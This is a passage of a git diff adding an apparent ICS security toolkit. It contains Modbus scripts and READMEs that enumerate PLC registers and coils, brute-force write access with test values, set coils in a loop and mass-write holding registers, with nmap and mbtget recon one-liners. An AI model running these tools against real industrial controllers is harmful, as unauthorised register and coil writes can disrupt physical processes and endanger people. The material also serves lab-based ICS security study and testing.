the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please 